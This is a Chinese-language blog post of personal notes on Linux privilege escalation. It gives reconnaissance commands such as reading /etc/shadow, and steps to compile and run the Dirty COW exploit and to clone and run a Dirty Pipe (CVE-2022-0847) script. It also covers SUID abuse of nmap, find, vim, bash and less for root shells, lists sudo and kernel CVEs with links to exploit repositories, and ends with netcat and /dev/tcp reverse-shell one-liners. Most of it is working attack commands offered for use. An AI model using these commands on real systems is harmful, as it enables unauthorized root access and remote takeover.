suid, sudo,脏牛提权
基本信息:
基础信息收集
(1):内核,操作系统和设备信息
uname -a 打印所有可用的系统信息 #去github找
uname -r 内核版本
(2)用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/shadow 列出系统上的所有用户密码
(3)用户和权限信息:
whoami 当前用户名
id 当前用户信息
脏牛提权
新建普通用户
cd /tmp/ 不然没有权限上传
编译:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty qwe123
我这里设置成qwe123
可能是我版本原因并未成功:
脏牛2.0:
kali2021:
useradd test
passwd test
bash -i
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847-main
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
也可以rz
suid提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性
首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
一般ubuntu行,debian不见得
nmap cp more less find
namp 较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。) 可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root
而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
exploit/unix/local/setuid_nmap
find 如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch test
find test -exec whoami \;
vim Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
vim /etc/shadow
bash 以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)
less 程序less也可以执行提权后的shell。
less /etc/passwd
!/bin/sh
sudo提权:
需要特定版本
CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20)
CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch]
CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14)
CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through 4.10.6)
已对外公开 exp 注:
https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits
反弹shell:
nc:
- 开启本地8080端口监听,并将本地的bash发布出去。
- nc -lvvp 8080 -t -e /bin/bash
nc 192.168.1.101
bash直接反弹
bash反弹一句话
bash -i >& /dev/tcp/192.168.26.146/8000 0>&1
nc -l -p 8000
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
标签:CVE,用户,提权,Linux,权限,root,bash From: https://blog.51cto.com/u_16172166/7264329